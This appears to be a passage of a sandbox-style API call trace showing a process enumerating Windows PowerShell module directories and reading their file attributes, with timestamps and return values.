[0182.328] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.dll")) returned 0xffffffff [0182.328] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0182.328] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", nBufferLength=0x40, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", lpFilePart=0x0) returned 0x3f [0182.328] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e804) returned 1 [0182.328] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\bitstransfer"), fInfoLevelId=0x0, lpFileInformation=0x599eac8 | out: lpFileInformation=0x599eac8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0182.328] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e800) returned 1 [0182.329] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0182.329] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", nBufferLength=0x3e, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", lpFilePart=0x0) returned 0x3d [0182.329] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e804) returned 1 [0182.329] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\cimcmdlets"), fInfoLevelId=0x0, lpFileInformation=0x599eac8 | out: lpFileInformation=0x599eac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0182.351] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e800) returned 1 [0182.351] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0182.351] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", nBufferLength=0x37, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", lpFilePart=0x0) returned 0x36 [0182.352] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e804) returned 1 [0182.352] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\ise"), fInfoLevelId=0x0, lpFileInformation=0x599eac8 | out: lpFileInformation=0x599eac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0182.352] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e800) returned 1 [0182.352] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0182.352] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", nBufferLength=0x50, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", lpFilePart=0x0) returned 0x4f [0182.352] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e804) returned 1 [0182.353] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.archive"), fInfoLevelId=0x0, lpFileInformation=0x599eac8 | out: lpFileInformation=0x599eac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0182.354] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e800) returned 1 [0182.354] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0182.354] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", nBufferLength=0x54, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", lpFilePart=0x0) returned 0x53 [0182.354] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e804) returned 1 [0182.354] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.diagnostics"), fInfoLevelId=0x0, lpFileInformation=0x599eac8 | out: lpFileInformation=0x599eac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0182.354] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e800) returned 1 [0182.355] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4d [0182.355] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", nBufferLength=0x4d, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", lpFilePart=0x0) returned 0x4c [0182.355] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e804) returned 1 [0182.355] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.host"), fInfoLevelId=0x0, lpFileInformation=0x599eac8 | out: lpFileInformation=0x599eac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0182.355] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e800) returned 1 [0182.356] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0182.356] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x53, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", lpFilePart=0x0) returned 0x52 [0182.356] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e804) returned 1 [0182.356] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management"), fInfoLevelId=0x0, lpFileInformation=0x599eac8 | out: lpFileInformation=0x599eac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0182.356] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e800) returned 1 [0182.356] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0182.356] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", nBufferLength=0x53, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", lpFilePart=0x0) returned 0x52 [0182.357] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e804) returned 1 [0182.357] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.odatautils"), fInfoLevelId=0x0, lpFileInformation=0x599eac8 | out: lpFileInformation=0x599eac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0182.357] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e800) returned 1 [0182.357] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0182.357] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x51, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", lpFilePart=0x0) returned 0x50 [0182.357] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e804) returned 1 [0182.357] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.security"), fInfoLevelId=0x0, lpFileInformation=0x599eac8 | out: lpFileInformation=0x599eac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0182.358] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e800) returned 1 [0182.359] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0182.359] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x50, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", lpFilePart=0x0) returned 0x4f [0182.359] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e804) returned 1 [0182.359] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility"), fInfoLevelId=0x0, lpFileInformation=0x599eac8 | out: lpFileInformation=0x599eac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0182.359] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e800) returned 1 [0182.359] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4e [0182.359] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", nBufferLength=0x4e, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", lpFilePart=0x0) returned 0x4d [0182.359] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e804) returned 1 [0182.359] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.wsman.management"), fInfoLevelId=0x0, lpFileInformation=0x599eac8 | out: lpFileInformation=0x599eac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0182.360] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e800) returned 1 [0182.360] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4f [0182.360] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", nBufferLength=0x4f, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", lpFilePart=0x0) returned 0x4e [0182.360] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e804) returned 1 [0182.360] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psdesiredstateconfiguration"), fInfoLevelId=0x0, lpFileInformation=0x599eac8 | out: lpFileInformation=0x599eac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x497da680, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x497da680, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0182.361] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e800) returned 1 [0182.361] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0182.361] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", nBufferLength=0x41, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", lpFilePart=0x0) returned 0x40 [0182.361] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e804) returned 1 [0182.362] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psdiagnostics"), fInfoLevelId=0x0, lpFileInformation=0x599eac8 | out: lpFileInformation=0x599eac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8100bf6e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8100bf6e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0182.362] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e800) returned 1 [0182.362] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0182.362] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", nBufferLength=0x42, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", lpFilePart=0x0) returned 0x41 [0182.362] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e804) returned 1 [0182.362] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psscheduledjob"), fInfoLevelId=0x0, lpFileInformation=0x599eac8 | out: lpFileInformation=0x599eac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0182.363] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e800) returned 1 [0182.363] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x47 [0182.363] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", nBufferLength=0x47, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", lpFilePart=0x0) returned 0x46 [0182.363] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e804) returned 1 [0182.363] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\troubleshootingpack"), fInfoLevelId=0x0, lpFileInformation=0x599eac8 | out: lpFileInformation=0x599eac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0182.363] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e800) returned 1 [0182.364] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599eab4) returned 1 [0182.364] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0182.364] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x50, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", lpFilePart=0x0) returned 0x4f [0182.364] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\*", lpFindFileData=0x599e864 | out: lpFindFileData=0x599e864*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e8a8 [0182.365] FindNextFileW (in: hFindFile=0x37e8a8, lpFindFileData=0x599e86c | out: lpFindFileData=0x599e86c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0182.365] FindNextFileW (in: hFindFile=0x37e8a8, lpFindFileData=0x599e86c | out: lpFindFileData=0x599e86c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x982, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psd1", cAlternateFileName="")) returned 1 [0182.365] FindNextFileW (in: hFindFile=0x37e8a8, lpFindFileData=0x599e86c | out: lpFindFileData=0x599e86c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psm1", cAlternateFileName="")) returned 1 [0182.365] FindNextFileW (in: hFindFile=0x37e8a8, lpFindFileData=0x599e86c | out: lpFindFileData=0x599e86c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psm1", cAlternateFileName="")) returned 0 [0182.365] FindClose (in: hFindFile=0x37e8a8 | out: hFindFile=0x37e8a8) returned 1 [0182.365] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e824) returned 1 [0182.365] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599ea84) returned 1 [0182.365] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1")) returned 0x20 [0182.371] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0182.371] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0182.372] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0182.372] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x388ba8, lpFilePart=0x0 | out: 